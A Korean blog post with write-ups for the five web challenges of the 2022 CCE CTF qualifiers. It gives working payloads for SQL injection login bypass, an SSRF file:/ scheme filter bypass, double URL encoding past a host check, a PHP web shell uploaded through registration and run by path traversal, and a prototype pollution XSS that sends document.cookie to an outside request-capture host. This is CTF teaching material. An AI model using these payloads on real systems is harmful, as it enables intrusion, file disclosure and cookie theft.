CTF Reviewed & Writeups/CCE CTF

2022 CCE 예선문제 웹 전체 Writeups

반응형
SMALL

2022 CCE Quals

이번 2023 CCE 대회를 참가하기 위하여, 2022년도에 출제되었던 웹 전체 에선문제 Writeup을 작성해보려 합니다.

 

Review가 아닌 Writeup인 만큼 길게 설명하지 않고 짧고 빠르게 정리하려고 합니다, (2023 CCE Quals는 Review 형식으로 작성할 예정입니다.)

 

작년도 CCE Quals는 청소년 + 일반 + 공공 부분 다 합쳐서 총 5문제의 웹 문제가 출제되었습니다.

[청소년부] Login me

== Description == 

Easy SQL injection!

웹 사이트에 처음 접속해보면 아래와 같이 문제 소스코드는 주어지지 않고 로그인 화면만 존재합니다.

Description에서 언급한 바와 같이 Sql injection을 수행하여 admin 권한의 로그인을 성공해야하는 문제라고 생각했습니다.

 

먼저 가장 기본적인 Sql injection payload를 작성해서 request 해봤습니다.

{
    "username": "' or 1=1 -- ",
    "password": "test"
}

위와 같이 관리자만 접근가능하다고 나와 있습니다.

 

이번에는 정상적인 요청 data를 작성해서 request 해봤습니다.

{
    "username": "guest",
    "password": "test"
}

정상적인 data로 로그인 요청을 보냈을때는 위와같이 정보가 올바르지 않다는 메시지를 보여줍니다.

 

이를 통해 "' or 1=1 -- " data를 request하게 되면 sql injection은 발생하지만 위와 같이 요청을 보낼 시 sql table의 가장 상위 row를 가져오게 됩니다.

 

그러면 즉, 이는 0번째 row는 admin 계정이 아니라는 뜻으로 해석할 수 있고 이는 limit 절을 사용해 특정 위치의 row를 가져오도록 sqli payload를 작성한다면 admin 계정으로 로그인 할 수 있을 것이라 생각하였습니다.

{
    "username": "' or 1=1 limit 1,1 -- ",
    "password": "test"
}

위와 같이 data를 작성하고 요청을 request하게 된다면 아래와 같이 FLAG를 얻을 수 있습니다.

FLAG : apollob{2722336ae592a8a47509a1908064e079}

[청소년부] Request forgery

== Description ==

Read Me

위 문제 역시 소스코드가 제공되지 않은 Black Box 형식의 문제입니다.

초기 페이지에 접속하게 되면 위와 같이 다운로드를 원하는 이미지의 URL을 입력받는 input이 존재합니다.

 

여기서 아무 URL이나 요청을 보내보겠습니다, 저는 https://google.com 이라는 요청을 보냈습니다. 

 

위와 같이 이미지가 나오게 되고 google.com 으로 요청한 URL의 데이터는 base64 encoding 되어 img 테그의 src로 삽입됩니다.

 

그러면 만약 https://, http:// scheme이 아닌 file:// 와 같은 특수한 url scheme 로 요청을 보내게 되면 해당 url scheme의 특성으로 인해 file를 읽어 올 수 있습니다.

 

즉, 해당 문제는 ssrf 취약점을 이용하는 문제라고 생각할 수 있습니다.

 

다음과 같이 url을 요청해봤습니다.

file:///etc/passwd

위와 같이 자체적으로 scheme를 필터링하고 있는것처럼 보여집니다.

 

이번에는 동일한 요청을 수행하는 url을 다시 보내봤습니다.

file://etc/passwd

위 url 역시 필터링되고 있었습니다.

 

마지막으로 동일한 요청을 수행하는 url을 다시 보내봤습니다.

file:/etc/passwd

"file:/" url scheme은 필터링 되지 않고 있음을 알 수 있습니다, file scheme은 기본적으로 "file:///", "file://", "file:/" 모두 동일한 작업을 수행합니다.

 

필터링에 대한 허점이 확인되었으니 이를 기반으로 "file:/flag"에 요청을 보내 src에 삽입된 data를 base64 decoding 한다면 flag를 확인할 수 있습니다.

FLAG : apollob{4de01e44f5c1adfeae928b45f1b8bfaef3cebd2e21b0702232e208e2c659e31c06b16848e6ec25a1cd38914b56e1ab5222f992d69070144862a388cfc54758fe1eadc64db1}

[일반/공공 부]  BabyWeb

== Description ==

The basic of web hacking.

해당 문제는 소스코드가 존재합니다.

 

내부서버가 존재하고 공개(배포된) 서버가 동시에 실행중인 문제입니다.

 

FLAG를 얻으려면 먼저 내부 서버에 접근해야합니다.

from flask import Flask
from flask import request
from secret import FLAG

app = Flask(__name__)


@app.route('/flag', methods=['GET'])
def index():
    if request.host == "flag.service":
        return FLAG
    else:
        return "Nice try :)"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

위는 내부 서버 app.py의 코드입니다. 요청 호스트가 flag.service 이여야만 FLAG를 리턴합니다.

 

아래는 배포서버의 코드입니다.

def valid_ip(ip):
    try:
        ip = socket.gethostbyname(ip)
        is_internal = ipaddress.ip_address(ip).is_global
        if(is_internal):
            return False
        else:
            return True
    except:
        pass

@app.route('/', methods=['GET','POST'])
def index():
    if request.method == "POST":
        try:
            url = request.form['url']
            result = urllib.parse.urlparse(url)
            if result.hostname == 'flag.service':
                return "Not allow"
            else:
                if(valid_ip(result.hostname)):
                    return "huh??"
                else:
                    return requests.get("http://"+result.hostname+result.path, allow_redirects=False).text
        except:
            return "Something wrong..."
    elif request.method == "GET":
        return data

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

위 코드는 간단하게 url을 form에서 입력받아 필터링을 진행한 후에 requests 모듈로 request를 보내는 로직입니다.

 

여기서 2가지 필터링을 진행하는데 하나는 result.hostname이 flag.service여야만 하고 하나는 valid_ip 함수를 통해 hostname의 아이피가 공개ip인지 내부ip인지를 확인하며 필터링을 진행중입니다.

 

즉, 위 코드상으로 flag를 얻기 위해서는 http://flag.service/flag url로 request를 수행해야합니다.

 

가장 먼저 flag.service 이면 Not allow를 리턴하는 조건문은 간단하게 우회가 가능합니다. 위에서 url을 파싱할때 urllib.parse.urlparse 함수를 사용하여 url을 파싱합니다.

 

해당 함수는 url 디코딩을 따로 수행하지 않습니다, 즉 이중 url 인코딩 (double url encoding)을 수행하게 된다면 flag.service라는 문자열은 일치하지 않으므로 조건에 통과하고 request.get 함수로 요청을 보낼때는 url 인코딩이 한번만 되어 있기 때문에 정상적인 url로 인식하여 요청을 보낼 수 있습니다.

 

또한 valid_ip 함수를 자세히 보게 된다면 예외가 발생했을때 예외처리가 발생하지 않고, 그냥 pass 합니다. 그리고 socket.gethostbyname 함수는 입력 호스트에 디코딩 되지 않고 인코딩된 문자열이 들어가게 된다면 에러를 발생시킵니다.

 

즉, 에러가 발생하여 pass됨으로 해당 필터링도 통과가 가능합니다. 

 

최종적으로 아래와 같이 url을 구성하여 요청을 보내면 flag를 얻을 수 있습니다. 

http://fl%61g.service/flag
FLAG : apollob{6e45f5c41f5109d94ed6c95fb753c76b288c56e788e30e32fb50ae3d98ca1349f9e027d2f333766635d9c85c398fa8e6185b4af1b7d4fa8fe1061738f2f6}

[일반/공공 부] reborn of php

== Description ==

Why doesn't php die?

위 문제 역시 소스코드가 제공되는 문제입니다.

간단한 기능만 존재합니다. 기본적인 로그인, 회원가입 기능을 제공합니다.

 

먼저 회원가입부터 확인해보면 아래과 같이 php 코드가 구성되어 있습니다.

<?php if(!defined('__MAIN__')) die('Access denied'); ?>

<?php
    $id = $_POST['id'];
    $pw = $_POST['pw'];

    if(!$id || !$pw) alert('invalid input', 'back');

    if(!is_valid_id($id)) alert('invalid id', 'back');

    if(is_exists_user($id)){
        alert('already joined', 'back');
    }

    save_user_id($id, $pw);

    alert('welcome', '/');
?>

id의 중복을 체크하고 save_user_id 라는 함수를 이용해 id, pw 값을 저장합니다.

function save_user_id($id, $pw){
        chdir('../');
        file_put_contents("dbs/{$id}", serialize($pw));
}

위 함수에서 dbs 경로에 id 값으로 파일을 생성후에 serialize 된 pw를 파일의 값으로 저장합니다.

<?php if(!defined('__MAIN__')) die('Access denied'); ?>

<?php
    $id = $_POST['id'];
    $pw = $_POST['pw'];

    if(!$id || !$pw) alert('invalid input', 'back');

    if(!is_valid_id($id)) alert('invalid id', 'back');

    if(!is_exists_user($id)){
        alert('not found user', 'back');
    }
    
    if(!login_check($id, $pw)) alert('wrong password', 'back');

    alert('welcome', '/');
?>

위는 로그인 php 함수입니다. 위 함수에서는 동일하게 id를 검증하고 login_check 함수를 이용해 로그인을 진행합니다.

function login_check($id, $pw){
        chdir('../');
        if(!file_exists("dbs/$id")){
            return false;
        }
        $saved_pw = unserialize(file_get_contents("dbs/$id"));

        if($pw === $saved_pw){
            chdir('./pages/');
            return true;
        }
        chdir('./pages/');
        return false;
}

login_check 함수에서는 간단하게 매개변수의 id를 이용해서 파일을 가져온 후 해당 파일의 값을 unserialize 하여 매개변수인 pw와 비교합니다.

 

true, false로 값을 리턴함을 확인할 수 있습니다.

 

또한 아래는 index의 php 코드입니다.

<?php if(!defined('__MAIN__')) exit; ?>
<?php
    class Controller {
        private $board = '';
        private $action = '';

        function __construct($board, $action) {
            $this->board = $board;
            $this->action = $action;

            if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
                $this->board = 'main';
                $this->action = 'index';
           }
        }
       
        function process() {
            $path = "{$this->board}/{$this->action}";
            
            if(preg_match('/php|html/i',  $path)){
                alert('not invalid', 'back');
            }           

            chdir('pages/');
            if(!file_exists("{$path}.php")) $path = 'main/index';
            include("{$path}.php");
       }     
    }
?>

쿼리스트링에서 board와 action을 받아 간단한 필터링을 진행한 후에 board/action형식으로 경로를 구성하고 이와 같이 구성된 경로의 파일이 존재할시 해당 파일을 include하고 존재하지 않을시 일반 main/index 경로의 파일을 실행합니다.

 

위 코드는 전부 필터링이 되어있지만 굉장히 미흡하게 되어있음을 확인할 수 있습니다, 즉, 취약점의 시나리오만 잘 구성할 수 있으면 쉽게 풀 수 있습니다.

 

먼저 회원가입 php에서 파일의 확장자와 이름에 대한 검사를 전혀 진행하지 않기 때문에 원하는 이름의 파일과 확장자로 파일을 생성할 수 있습니다.

 

dbs/test.php와 같은 경로에 php 파일을 업로드 할 수 있습니다, 또한 password를 serialize하여 저장하는데 serialize 함수는 값의 직렬화를 위한 목적으로 php 코드 실행과 아무런 관련이 없습니다. 즉 password에 대한 인코딩이 적절하지 않으므로 이를 토데로 php 웹 shell을 작성할 수 있습니다.

 

마지막으로 index php 페이지에서는 역시 필터링에 대한 검사를 수행하지만 굉장히 미흡합니다, php가 값 내에 들어있는지 확인을 하여도 마지막에 $path.php를 합쳐주는 모습을 볼 수 있습니다, 또한 board만 필터링이 적용되고 action은 필터링이 전혀 적용되어 있지 않음을 확인할 수 있습니다.

 

즉, 회원가입 기능을 이용해 php 웹 셸을 업로드 하고 index php의 board와 action 쿼리스트링을 사용해 해당 웹 셸을 실행시킨다면 웹 셸이 작동하여 결과적으로 system 명령어들을 모두 실행시킬 수 있는 취약점이 존재합니다.

{
    "mode": "register",
    "username": "test.php",
    "password": "<?php system($_GET['cmd']);?>"
}
http://localhost:port/?b=..&a=dbs/test&cmd=cat /flag

b=.. 을 준 이유는 현재 path가 pages/ 이기 때문에 상위 디렉터리로 이동하여 dbs/test.php 파일을 실행하기 위함입니다.

 

즉 이를 이용해 웹 셸을 실행하여 FLAG를 최종적으로 획득합니다. 

FLAG : apollob{faa1532f71f9dfee36203e33077c3c3a0f5c8cef2d4d35ce5841b5e613087a18981130b6f09ad920b4dd925a4d66c841dcac1711b49bc77b917443bfa21ded11eaad}

[일반/공공 부] GS25

== Description ==

Tetris is so much fun.

해당 문제는 프로토타입 폴루션 취약점을 베이스로 한 문제입니다.

 

또한 해당 문제는 2개의 서버가 동시에 돌아갑니다.

 

하나는 로봇 서버와 하나는 게임 서버가 구동중입니다, 로봇 서버에서는 code와 filename을 form으로 입력받아 해당 데이터를 게임 서버에 로드합니다, 또한 FLAG는 로봇서버의 Cookide에 저장되어있습니다.

app.post('/', async (req, res) => {
  const { fileName, code } = req.body
  const cookies = [{
    'name': 'fileName',
    'value': fileName
  },
  {
    'name': 'flag',
    'value': 'apollob{EXAMPLE_FLAG}'
  }
  ]

  await (async () => {
    const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] })
    const page = await browser.newPage()

    page.on('dialog', async dialog => {
      if(dialog.message() == 'Input your game data code') await dialog.accept(code)
      else await dialog.dismiss()
    })

    await page.goto(url, {
      waitUntil: 'networkidle2',
    })

    await page.setCookie(...cookies)
  
    await page.click('#playBtn')
    
    await page.keyboard.type('l')

    await new Promise(resolve => setTimeout(resolve, 1000))

    await browser.close()
  })()

  res.send("Done")
})

app.listen(80)

위 코드와 같이 Cookie를 설정하고 게임 서버에서 /loadGame POST request를 보냅니다, 여기서 data로 입력한 code와 filename이 함께 전달됩니다.

 

게임 서버에서 라우터 코드는 아래와 같습니다.

router.get('/', (req, res) => {
  if(!req.cookies.fileName) {
    res.cookie('fileName', uuid4())
  }
  res.render('game', { cookie: req.cookies.data }) 
})

router.post('/saveGame', async (req, res) => {
  const code = uuid4()
  const fileName = req.cookies.fileName.replace('.', '').replace('/', '')
  req.body.data['code'] = code

  if(fs.existsSync(`./saves/${fileName}.data`)){
    const result = JSON.parse(fs.readFileSync(`./saves/${req.cookies.fileName}.data`, { encoding : 'utf8' }))
    result.push(req.body.data)

    fs.writeFileSync(`./saves/${fileName}.data`, JSON.stringify(result))
  } else {
    fs.writeFileSync(`./saves/${fileName}.data`, JSON.stringify([req.body.data]))
  }
  
  res.json({ state: 'ok', code })  
})

router.post('/loadGame', (req, res) => {
  const fileName = req.cookies.fileName.replace('.', '').replace('/', '')

  const result = JSON.parse(fs.readFileSync(`./saves/${fileName}.data`, { encoding : 'utf8' }))

  for(let i=0; i<result.length; i++) {
    if(result[i].code === req.body.code) {
      return res.json({ state: 'ok', data: result[i] })
    }
  }
  res.json({ state: 'fail' })
})

module.exports = router

/saveGame과 /loadGame이 존재하는데, /saveGame에서는 fileName을 쿠키로 받고 data를 form 으로 받습니다. 

 

./saves/${filename}.data를 통해 파일을 생성하고 해당 파일에 data를 저장합니다.

 

/loadGame에서는 간단한 path travsel 필터링을 진행 한 후에 fileName 쿠키에서 파일 이름을 가져와 해당 파일의 key를 순회하면서 result.code가 form의 code와 동일한지 확인합니다.

 

동일하다면 해당 result data를 response로 전달하게 됩니다.

 

마지막으로 client의 loadGame 클래스를 살펴보면 아래와 같습니다.

async function loadGame(){
  
  const code = prompt('Input your game data code')
  const req = await axios.post('/loadGame', { code })
  const result = req.data
  
  if (result.state !== 'ok') {
    alert('error')
    return 
  }

  const data = req.data.data

  function isObject(obj) {
    return obj !== null && typeof obj === 'object'
  }

  function merge(a, b) {
    for (let key in b) {
      if (isObject(a[key]) && isObject(b[key])) {
        merge(a[key], b[key])
      } else {
        a[key] = b[key]
      }
    }
    return a
  }

  this.cGameInfo = new GameInfo()
  merge(this.cGameInfo, data)
  initScreen()
  initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume)
  initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow)
  initNextBlockInfo()

/loadGame 엔드포인트로 code를 전달하고 응답을 받습니다. req.data.data로 data를 data 변수에 할당하고.

 

merge 함수를 이용해 this.cGameInfo 인스턴스와 data 객체를 인수로 받아 data 객체의 key를 순회하면서 ths.cGameInfo[key] = data[key] 와 같은 저장 형식을 가집니다.

 

이때 a[key] = b[key]를 할당하는 과정에서 필터링이 전혀 존재하지 않고, key 부분은 사용자의 입력값이 들어가는 것이므로 prototype polluation이 발생하게 됩니다.

 

위를 발견하게 된다면 xss 취약점을 트리거 할 수 있습니다.

 

아래는 /saveGame 엔드포인트를 이용해 prototype polluation 을 일으켜 xss를 트리거 하는 payload입니다.

"data": {
    "score": 100,
    "accelateIntervalTime": 10000,
    "dropIntervalTime": 1000,
    "__proto__": {
        "__proto__": {
            "preventDefault": "x",
            "handleObj": "x",
            "delegateTarget": "<img/src/onerror=alert(1)>"
        }
    }
}

해당 payload는 https://domdom.tistory.com/184 를 참조하였습니다.

 

/saveGame을 이용해 해당 payload를 파일에 저장하고 /loadGame에서 code를 이용해 payload를 불러오게 된다면 merge 함수에서 this.cGameInfo["__proto__"]["__proto__"] = data["__proto__"]["__proto__"] 형태로 값이 저장되고, this.cGameInfo에서 2번 위에 있는 prototype은 Object.prototype 임으로 prototype 체인상에서 가장 최종 위치가 됩니다.

 

즉, client 내에서 사용되는 모든 객체는 객체에 대한 프로퍼티가 존재하지 않을때 프로토타입 체인을 따라 이동하며 프로퍼티를 검색하게 됩니다.

 

이 과정에서 delegateTarget이라는 프로퍼티가 xss 공격에 취약하게 되고, 해당 프로퍼티안에 xss 페이로드를 주입하게 되면 xss가 트리거 됩니다.

 

즉, 위의 xss 트리거를 이용해 flag를 얻는 payload를 작성해보겠습니다.

"data": {
    "score": 100,
    "accelateIntervalTime": 10000,
    "dropIntervalTime": 1000,
    "__proto__": {
        "__proto__": {
            "preventDefault": "x",
            "handleObj": "x",
            "delegateTarget": "<img/src/onerror=location['href']='https://cjxexbv.request.dreamhack.games/?' + document.cookie>"
        }
    }
}

해당 payload를 /saveGame 엔드포인트를 이용해 파일을 저장하고 저장한 fileName과 반환된 code를 rebot 서버의 form에 데이터로 전달하게 되면 prototype polluation이 발생하여 xss가 트리거 되고 하이퍼링크로 리다이렉션 된 후 rebot 서버의 document cookie를 읽어옴으로써 FLAG를 획득할 수 있습니다.

 

해당 문제는 prototype polluation이 발생하는 것을 이용해 xss를 트리거 해야된다는 것은 알고 있었지만 어떤 프로퍼티가 xss에 취약한 프로퍼티인지 찾지 못하여 풀지 못했던 문제였습니다.

FLAG : apollob{134d8ebde5f12985b65e841fb8eaaef971027df53e892a29610519c838ea5470a84289a6868cce87abedbf54fef094a8658872de03210163b9e426e3ecbfc2cf1ca5}

 

 

반응형
LIST

'CTF Reviewed & Writeups > CCE CTF' 카테고리의 다른 글

2023 CCE 청소년부 예선문제 Writeup  (34) 2023.07.11